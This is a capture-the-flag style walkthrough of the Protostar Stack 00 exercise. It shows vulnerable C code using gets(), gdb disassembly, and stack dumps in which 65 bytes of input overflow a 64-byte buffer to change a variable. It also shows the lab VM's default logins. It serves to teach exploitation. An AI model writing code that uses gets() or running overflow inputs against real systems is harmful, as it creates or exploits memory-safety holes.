Protostar - Stack 00

March 31, 2018

Welcome to the first challenge from Protostar series brought to us by Exploit Exercises.

Solution

At first we are given a source code of the challenge.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

As we can see, our goal is to modify the value of modified variable, which is for now equal to 0. But before the declaration of this variable, we have a character buffer 64 elements in size.

Just after these two variables, we have gets() function that will copy anything that we enter into the buffer. From man pages, we can remeber that this function should not be used.

Never use gets().  Because it is impossible to tell without knowing the  data  in
advance how many characters gets() will read, and because gets() will continue to
store characters past the end of the buffer, it is extremely  dangerous  to  use.
It has been used to break computer security.  Use fgets() instead.

With that information, let’s jump and ssh into the the protostar machine.

> $ ssh [email protected]                                                                


    PPPP  RRRR   OOO  TTTTT  OOO   SSSS TTTTT   A   RRRR  
    P   P R   R O   O   T   O   O S       T    A A  R   R
    PPPP  RRRR  O   O   T   O   O  SSS    T   AAAAA RRRR  
    P     R  R  O   O   T   O   O     S   T   A   A R  R  
    P     R   R  OOO    T    OOO  SSSS    T   A   A R   R

          http://exploit-exercises.com/protostar                                                 

Welcome to Protostar. To log in, you may use the user / user account.
When you need to use the root account, you can login as root / godmode.

For level descriptions / further help, please see the above url.

[email protected]'s password:
Linux (none) 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Mar 31 12:18:37 2018

Now let’s move into the directory containing challenge binaries.

$ cd /opt/protostar/bin/
$ ./stack0
asd
Try again?

Here we can see how the program works in real sitation. It takes the input from the user, and as the modified variable was not modified, it prints Try again? string. But as we know that the buffer can contain only 64 elements, let’s print an absurd number of a letters passing them into the binary.

$ ./stack0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
you have changed the 'modified' variable
Segmentation fault

And here it is, we modified the modified variable. But why did it happen? We can view the binary using tools such as gdb in order to see how their internal system works.

$ gdb ./stack0
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack0...done.
(gdb) set disassembly-flavor intel

Firstly, we have to set the assembly syntax into the Intel one, as for me it’s easier to read. After that we’re ready to analyze the assembly code of the main() function.

(gdb) disas main
Dump of assembler code for function main:
0x080483f4 <main+0>:	push   ebp
0x080483f5 <main+1>:	mov    ebp,esp
0x080483f7 <main+3>:	and    esp,0xfffffff0
0x080483fa <main+6>:	sub    esp,0x60
0x080483fd <main+9>:	mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:	lea    eax,[esp+0x1c]
0x08048409 <main+21>:	mov    DWORD PTR [esp],eax
0x0804840c <main+24>:	call   0x804830c <[email protected]>
0x08048411 <main+29>:	mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:	test   eax,eax
0x08048417 <main+35>:	je     0x8048427 <main+51>
0x08048419 <main+37>:	mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:	call   0x804832c <[email protected]>
0x08048425 <main+49>:	jmp    0x8048433 <main+63>
0x08048427 <main+51>:	mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:	call   0x804832c <[email protected]>
0x08048433 <main+63>:	leave  
0x08048434 <main+64>:	ret    
End of assembler dump.

As we know that the buffer is getting overfilled just after the gets() function, we can put a breakpoint just after this function at 0x08048411 address. That way, the flow of the program will stop and we will be able to freely look around registers and memory used at that particular moment.

(gdb) break *0x08048411
Breakpoint 1 at 0x8048411: file stack0/stack0.c, line 13.
(gdb) r
Starting program: /opt/protostar/bin/stack0
aaaaaaaaaaaaaa

Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack0/stack0.c:13
13	stack0/stack0.c: No such file or directory.
	in stack0/stack0.c

This time, I’m running the binary with small input, such that will not overfill the buffer. That will show you a difference between this run, and run using large input.

Together with the fact that the variables are stored in stack, we will have to view it. In order to do it, we can use this command x/40x $esp. Let’s analyze it. Letters x means that the output will be printed in the hexadecimal format, 40 is the number of elements that we want to print and $esp is the name of the register we want to use.

But why ESP register? Simply because it stores the address of the most recent value pushed on the stack, which in our case are the variables.

(gdb) x/40x $esp
  0xbffffc50:	0xbffffc6c	0x00000001	0xb7fff8f8	0xb7f0186e
  0xbffffc60:	0xb7fd7ff4	0xb7ec6165	0xbffffc78	0x61616161
->0xbffffc70:	0x61616161	0x61616161	0xbf006161	0x080482e8
  0xbffffc80:	0xb7ff1040	0x08049620	0xbffffcb8	0x08048469
  0xbffffc90:	0xb7fd8304	0xb7fd7ff4	0x08048450	0xbffffcb8
->0xbffffca0:	0xb7ec6365	0xb7ff1040	0x0804845b	0x00000000
  0xbffffcb0:	0x08048450	0x00000000	0xbffffd38	0xb7eadc76
  0xbffffcc0:	0x00000001	0xbffffd64	0xbffffd6c	0xb7fe1848
  0xbffffcd0:	0xbffffd20	0xffffffff	0xb7ffeff4	0x0804824b
  0xbffffce0:	0x00000001	0xbffffd20	0xb7ff0626	0xb7fffab0

See the big number of 0x61 digits stored in memory? If we’ll take a look at the ASCII chart, we’ll know that it’s the value of the a letters, so that what we enetered. On the other hand, we can also see place where there are only 0x00 values, which will probably mean that that’s the place where our modified variable is stored.

Now we can run this binary once again, but this time with the input consisting of 65 a letters.

>>> print('a' * 65)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
(gdb) r    
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack0/stack0.c:13
13	stack0/stack0.c: No such file or directory.
	in stack0/stack0.c
(gdb) x/40x $esp
0xbffffc50:	0xbffffc6c	0x00000001	0xb7fff8f8	0xb7f0186e
0xbffffc60:	0xb7fd7ff4	0xb7ec6165	0xbffffc78	0x61616161
0xbffffc70:	0x61616161	0x61616161	0x61616161	0x61616161
0xbffffc80:	0x61616161	0x61616161	0x61616161	0x61616161
0xbffffc90:	0x61616161	0x61616161	0x61616161	0x61616161
0xbffffca0:	0x61616161	0x61616161	0x61616161	0x00000061
0xbffffcb0:	0x08048450	0x00000000	0xbffffd38	0xb7eadc76
0xbffffcc0:	0x00000001	0xbffffd64	0xbffffd6c	0xb7fe1848
0xbffffcd0:	0xbffffd20	0xffffffff	0xb7ffeff4	0x0804824b
0xbffffce0:	0x00000001	0xbffffd20	0xb7ff0626	0xb7fffab0
(gdb) c
Continuing.
you have changed the 'modified' variable

Program exited with code 051.

Here we can see that the place where 0x00 values were, now is overwritten with single 0x61 value, and since that we know it’s modified. Doing this changed the flow of the program, resulting in our success.

Contact

If you have any suggestions regarding this post or just want to chat together check out these ways to reach out to me.